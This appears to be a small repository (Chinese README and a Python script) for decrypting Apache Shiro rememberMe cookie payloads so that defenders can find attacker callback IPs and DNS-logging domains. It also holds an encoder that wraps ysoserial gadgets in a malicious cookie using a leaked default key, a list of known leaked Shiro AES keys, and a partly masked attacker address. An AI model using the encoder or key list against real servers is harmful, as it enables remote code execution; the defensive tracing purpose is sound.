├── README.md └── RemembermeDecode.py /README.md: -------------------------------------------------------------------------------- 1 | # SHIRO_Rememberme_decode 2 | [Apache Shiro payload AES解密](https://www.t00ls.net/thread-56799-1-1.html) 3 | 4 | **恶意 Cookie rememberMe值构造** 5 | 6 | 前16字节的密钥 -> 后面加入序列化参数 -> AES加密 -> base64编码 -> 发送cookie 7 | 8 | **Apache Shiro处理cookie的流程** 9 | 10 | 得到rememberMe的cookie值 -> Base64解码 -> AES-128-CBC解密-> 反序列化(readobject)。 11 | 12 | rememberMe管理器代码中写到cookie加密密钥默认为AES算法,可以将黑客常用的攻击密钥做一个keylist进行解密 13 | 14 | 效果 15 | ![1](https://user-images.githubusercontent.com/44937351/110765107-cc54ab80-828e-11eb-9bef-7218fbc9ddfc.png) 16 | ![2](https://user-images.githubusercontent.com/44937351/110765116-ceb70580-828e-11eb-838b-a51682cc6006.png) 17 | 18 | 19 | 通过以下解密可以查看到攻击者开启JRMP Server的vps还有使用的dns平台(ceye,dnslog,burp等),和攻击日志里的host进行关联,发现攻击者所拥有的基础设施,通过奇技淫巧挖掘出更多攻击者的信息。顺着网线给攻击者查水表。 20 | 21 | 这里只是举个发现攻击者的小例子,欢迎师傅多多交流。 22 | 23 | 参考: 24 | 25 | https://www.anquanke.com/post/id/193165 26 | -------------------------------------------------------------------------------- /RemembermeDecode.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import uuid 3 | import base64 4 | import subprocess 5 | from Crypto.Cipher import AES 6 | import re 7 | 8 | list1 = ['rememberme payload'] 9 | def encode_rememberme(command): # Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的remember Me内容 10 | popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], 11 | stdout=subprocess.PIPE) #执行的命令 12 | popen1 = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) 13 | BS = AES.block_size # aes数据分组长度为128 bit 14 | pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # padding算法 15 | key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #kPH+bIxk5D2deZiIxcaaaA== 泄露的key https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA 16 | iv = uuid.uuid4().bytes #生成一个随机的UUID 17 | mode = AES.MODE_CBC 18 | encryptor = AES.new(key, mode, iv) 19 | file_body = pad(popen1.stdout.read()) #pad('java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 118.25.69.**:6666') 20 | base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) #使用密钥进行AES加密 Base64加密 21 | print('rememberme=%s'%base64_ciphertext,'\n') 22 | return base64_ciphertext 23 | 24 | def decode_rememberme(payload): #remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化 25 | # keylist = ['fCq+/xW488hMTCD+cmJ3aQ=='] 26 | keylist = ['kPH+bIxk5D2deZiIxcaaaA==','2AvVhdsgUs0FSA3SDFAdag==','3AvVhmFLUs0KTA3Kprsdag==','4AvVhmFLUs0KTA3Kprsdag==','5aaC5qKm5oqA5pyvAAAAAA==','6ZmI6I2j5Y+R5aSn5ZOlAA==','bWljcm9zAAAAAAAAAAAAAA==','wGiHplamyXlVB11UXWol8g==','Z3VucwAAAAAAAAAAAAAAAA==','MTIzNDU2Nzg5MGFiY2RlZg==','U3ByaW5nQmxhZGUAAAAAAA==','5AvVhmFLUs0KTA3Kprsdag==','fCq+/xW488hMTCD+cmJ3aQ==','1QWLxg+NYmxraMoxAXu/Iw==','ZUdsaGJuSmxibVI2ZHc9PQ==','L7RioUULEFhRyxM7a2R/Yg==','r0e3c16IdVkouZgk1TKVMg==','bWluZS1hc3NldC1rZXk6QQ==','a2VlcE9uR29pbmdBbmRGaQ==','WcfHGU25gNnTxTlmJMeSpw==','ZAvph3dsQs0FSL3SDFAdag==','tiVV6g3uZBGfgshesAQbjA==','cmVtZW1iZXJNZQAAAAAAAA==','ZnJlc2h6Y24xMjM0NTY3OA==','RVZBTk5JR0hUTFlfV0FPVQ==','WkhBTkdYSUFPSEVJX0NBVA=='] 27 | for key in keylist: 28 | mode = AES.MODE_CBC 29 | IV = payload[:16] # shiro利用arraycopy()方法将随机的16字节IV放到序列化后的数据前面,取前16字节作为iv 30 | encryptor = AES.new(base64.b64decode(key), mode, IV=IV) 31 | remember_bin = encryptor.decrypt(payload[16:]) 32 | remember_bin = remember_bin.decode('unicode-escape') 33 | # print(remember_bin) 34 | 35 | pattern = re.compile(r'((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}') 36 | ip = re.search(pattern, remember_bin) 37 | ceye = re.search('(\w+)?\.\w+\.ceye.io',remember_bin,re.I) 38 | dnslog = re.search('(\w+)?\.\w+\.dnslog.cn',remember_bin,re.I) 39 | burp = re.search('(\w+)?\.\w+\.burpcollaborator.net',remember_bin,re.I) 40 | 41 | if ip: 42 | print('The key is %s. The ip is %s'%(key,ip)) 43 | return ip 44 | elif ceye: 45 | print('The key is %s. The ceye is %s'%(key,ceye)) 46 | return ceye 47 | elif dnslog: 48 | print('The key is %s. The dnslog is %s'%(key,dnslog)) 49 | return dnslog 50 | elif burp: 51 | print('The key is %s. The burp is %s'%(key,burp)) 52 | return burp 53 | 54 | if __name__ == '__main__': 55 | # payload = encode_rememberme(sys.argv[1]) 56 | # try: 57 | # payload = base64.b64decode(payload) 58 | # ip = decode_rememberme(payload) 59 | # except: 60 | # pass 61 | # 62 | for payload in list1: 63 | try: 64 | tmp = payload 65 | payload = base64.b64decode(payload) 66 | data = decode_rememberme(payload) 67 | if data: 68 | print(tmp) 69 | except: 70 | pass --------------------------------------------------------------------------------